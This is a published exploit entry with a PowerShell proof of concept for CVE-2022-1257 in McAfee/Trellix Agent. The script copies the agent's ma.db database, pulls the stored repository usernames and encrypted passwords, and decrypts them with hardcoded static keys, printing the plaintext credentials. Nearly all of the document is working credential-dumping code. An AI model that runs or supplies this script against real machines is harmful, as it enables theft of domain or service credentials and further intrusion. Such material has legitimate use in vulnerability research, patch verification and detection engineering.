Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
Date: 24 June 2025
Exploit Author: Keenan Scott
Vendor Homepage: hxxps[://]www[.]mcafee[.]com/
Software Download: N/A (Unable to find)
Version: < 5.7.6
Tested on: Windows 11
CVE: CVE-2022-1257
<#
.SYNOPSIS
Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817
.DESCRIPTION
This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file.
.LINK
https://nvd.nist.gov/vuln/detail/cve-2022-1257
https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/
https://tryhackme.com/room/breachingad
.OUTPUTS
CSV in stdOut:
Username,Password
#>
# Arguments
[CmdletBinding()]
param (
[string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db',
[string]$TempFolder = $env:TEMP
)
### Initialize use of WinSQLite3 ###
$cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N'))
$code = @"
using System;
using System.Runtime.InteropServices;
public static class $cls
{
public const int SQLITE_OK = 0;
public const int SQLITE_ROW = 100;
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_open_v2(
[MarshalAs(UnmanagedType.LPStr)] string filename,
out IntPtr db,
int flags,
IntPtr vfs
);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_close(IntPtr db);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_prepare_v2(
IntPtr db, string sql, int nByte,
out IntPtr stmt, IntPtr pzTail
);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_step(IntPtr stmt);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_finalize(IntPtr stmt);
}
"@
# SQL statement to retrieve usersnames and encrypted passwords from ma.db
$sql = @"
SELECT AUTH_USER, AUTH_PASSWD
FROM AGENT_REPOSITORIES
WHERE AUTH_PASSWD IS NOT NULL;
"@
Add-Type -TypeDefinition $code -PassThru | Out-Null
$type = [type]$cls
### Decode and Decrypt ###
# Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent.
function Invoke-McAfeeDecrypt {
param([string]$B64)
[byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
[byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
}
$sha = [System.Security.Cryptography.SHA1]::Create()
[byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 })
$tdes = [System.Security.Cryptography.TripleDES]::Create()
$tdes.Mode = 'ECB'
$tdes.Padding = 'None'
$tdes.Key = $key
[byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)
$i = 0
while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
$i++
}
if ($i -eq 0) { return '' }
[Text.Encoding]::UTF8.GetString($plain, 0, $i)
}
### Copy ma.db ###
# Copy ma.db over to temp directory add GUID incase it already exists there.
$tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid()))
Copy-Item -LiteralPath $DbSource -Destination $tmp -Force
### Pull records ###
$dbPtr = [IntPtr]::Zero
$stmtPtr = [IntPtr]::Zero
$flags = 1
$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero)
if ($rc -ne $type::SQLITE_OK) {
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
$type::sqlite3_errmsg($dbPtr))
Throw "sqlite3_open_v2 failed (code $rc) : $msg"
}
$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero)
if ($rc -ne $type::SQLITE_OK) {
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
$type::sqlite3_errmsg($dbPtr))
$type::sqlite3_close($dbPtr) | Out-Null
Throw "sqlite3_prepare_v2 failed (code $rc) : $msg"
}
$buffer = [System.Collections.Generic.List[string]]::new()
while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) {
$uPtr = $type::sqlite3_column_text($stmtPtr, 0)
$pPtr = $type::sqlite3_column_text($stmtPtr, 1)
$user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr)
$pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr)
if ($user -and $pass) {
$buffer.Add("$user,$pass")
}
}
### Cleanup ###
# Finish and close SQL
$type::sqlite3_finalize($stmtPtr) | Out-Null
$type::sqlite3_close($dbPtr) | Out-Null
# Delete the ma.db file copied to the temp file
Remove-Item $tmp -Force -ErrorAction SilentlyContinue
### Process encrypted credentials ###
# For each row of credentials decrypt them and print plaintext to standard out.
foreach ($line in $buffer) {
$rec = $line -split ',', 2
if ($rec.Length -eq 2) {
$username = $rec[0]
try {
$password = Invoke-McAfeeDecrypt $rec[1]
} catch {
$password = "[DECRYPT-ERROR] $_"
}
"Username,Password"
"$username,$password"
}
}